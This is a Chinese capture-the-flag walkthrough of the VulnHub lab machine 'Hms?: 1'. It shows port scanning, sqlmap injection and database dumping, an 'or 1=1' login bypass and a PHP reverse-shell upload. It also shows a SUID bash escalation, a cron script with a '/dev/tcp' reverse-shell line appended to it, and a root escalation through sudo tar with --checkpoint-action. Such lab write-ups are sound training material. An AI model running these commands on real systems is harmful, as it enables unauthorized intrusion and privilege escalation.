当前位置: 首页 > article >正文

Hms?: 1渗透测试

靶机:Hms?: 1 Hms?: 1 ~ VulnHub

攻击机:kail linux 2024

主机扫描阶段发现不了靶机,所以需要按DriftingBlues2一样手动配置网卡

1,将两台虚拟机网络连接都改为NAT模式,并查看靶机的MAC地址

2,攻击机上做主机扫描发现靶机

攻击机IP地址192.168.23.128,靶机IP地址192.168.23.144

3,扫描靶机端口服务

nmap -T4 -sC -sV -p- -A --min-rate=1000 192.168.23.144

-T<0-5>:时间模板,越大速度越快

-sV:探测开放的端口的系统/服务信息

-p:指定端口扫描范围

开启了如下服务

21/tcp   open  ftp     vsftpd 3.0.3

22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)

7080/tcp open  http    Apache httpd 2.4.48 ((Unix) OpenSSL/1.1.1k PHP/7.3.29 mod_perl/2.0.11 Perl/v5.32.1)

4,访问web页面192.168.23.144:7080

存在一个登录页面

5,检查HTML静态页面,可能存在SQL注入漏洞

使用sqlmap进行注入

sqlmap -o -u "http://192.168.23.144:7080/login.php" --batch -forms --level=3 --risk=3

上面输出说明[email]存在[万能密码登录]样式为[or 1=1],再爆破出数据库名

 sqlmap -u "http://192.168.23.144:7080/login.php" --data "user=admin&email=mayuri.infospace%40gmail.com&password=123&btn_login=" --dbs

使用数据库clinic_db爆出表名

sqlmap -u "http://192.168.23.144:7080/login.php" --data "user=admin&email=mayuri.infospace%40gmail.com&password=123&btn_login=" -D clinic_db --tables

最后爆出root用户的信息

sqlmap -u "http://192.168.23.144:7080/login.php" --data "user=admin&email=mayuri.infospace%40gmail.com&password=123&btn_login=" -D phpmyadmin --dump-all

root     | 2021-07-25 22:05:10 | {"Console\\/Mode":"collapse","NavigationWidth":0}

6,使用万能密码进行登录

登录前删除type=email标签,否则无法输入万能密码

7,查看网页源码发现文件上传地址

发现setting.php,右下角可对文件进行上传

8,在指定位置上传反弹shell的php文件

 

Cheat Sheets | pentestmonkey,下载需要的攻击语句

9,上传成功之后再访问文件所在的目录

192.168.23.144:7080/uploadImage/Logo/2.php

同时开启端口监听 nc -lvnp 1234

10,获得终端shell,并运行python命令获得可交互shell

python -c 'import pty;pty.spawn("/bin/bash")'

11,查看权限三件套,当前权限太低

12,提权的思路是,寻找可执行的二进制文件

find / -perm -4000 -type f 2>/dev/null

发现/usr/bin/bash可执行,可以切换到用户eren

/usr/bin/bash -p

13,用户无法查看可执行文件,查看一下定时任务 cat /etc/crontab

发现backup.sh每5分钟运行一次

利用定时任务来反弹shell,提取权限,将bash命令写入backup.sh

echo "bash -i >& /dev/tcp/192.168.23.128/1235 0>&1" >> /home/eren/backup.sh

与此同时靶机开启端口监听,nc -lvp 1235

定时任务执行之后,在攻击机上就获得了靶机的shell                                                                                                                       

14,提权操作,查看一下有没有sudo权限 sudo -l,

用户eren在主机nivek上通过sudo -l命令查看得到具有特定权限:可以使用sudo以root身份无密码(NOPASSWD)执行/bin/tar命令。这是一个比较有限的权限授予情况

提权原理:tar 命令通常用于压缩和解压缩文件。在某些情况下,tar 命令可以利用 --checkpoint-action 选项来执行系统命令,从而实现提权。

使用 tar 命令执行恶意脚本:利用 sudo 权限运行 tar 命令,并使用 --checkpoint-action 选项来执行恶意脚本。

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

可以看到执行命令后提权成功,获得flag

成功得到flag

知识点: 利用tar命令提权

思路阐述:由于tar命令在一些情况下如果被不当使用可能会导致提权。例如,如果目标系统存在可被利用的文件包含漏洞或者配置不当的情况。如果能够利用tar命令在提取文件时覆盖关键系统文件(如/etc/passwd等),就有可能达到

主机扫描发现靶机——扫描靶机端口——靶机指定7080端口提供web服务——登录页面存在SQL注入漏洞,弱密码登录——上传反弹shell文件——进入php文件路径,从而获得shell——二进制文件切换用户eren——将发帖shell的bash脚本写入定时任务——定时任务更新,且靶机监听到反弹shell,成功获得终端——利用sudo命令+tar命令漏洞,成功提权成为root用户


http://www.kler.cn/a/381808.html

相关文章:

  • C语言基础:指针(数组指针与指针数组)
  • 网络安全 - Cross-site scripting
  • IntelliJ IDEA Docker集成
  • 命令手动更新 Navigator
  • Ingress-Nginx Annotations 指南:配置要点全方面解读(上)
  • Mac上Stable Diffusion的环境搭建(还算比较简单)
  • 2DGameEngine(webGL)----初始化工程
  • SD-WAN技术怎样与运营商网络无缝集成
  • Apache HTTP Server中级操作指南
  • 100种算法【Python版】第47篇——堆排序
  • Pytest-Bdd-Playwright 系列教程(5):仅执行测试用例的收集阶段
  • 有色金属价格的上涨通常受到多种因素的影响,以下是一些主要因素:
  • 在 Google Chrome 上查找并安装 SearchGPT 扩展
  • Pytorch cuda版本选择(高效简洁版)
  • HTB:Sense[WriteUP]
  • scala的属性访问权限
  • Go:struct结构体和继承
  • Jest进阶知识:整合 TypeScript - 提升单元测试的类型安全与可靠性
  • 【面试经典150】day 10
  • 【07】Maven项目多环境打包配置
  • SpringBoot+ClickHouse集成
  • PostgreSQL和MySQL在MVCC
  • 白杨SEO:百度在降低个人备案类网站搜索关键词排名和流量?怎样应对?【参考】
  • 计算机视觉实验三:图像分割
  • TVM前端研究--Pass
  • 开发中前后端联调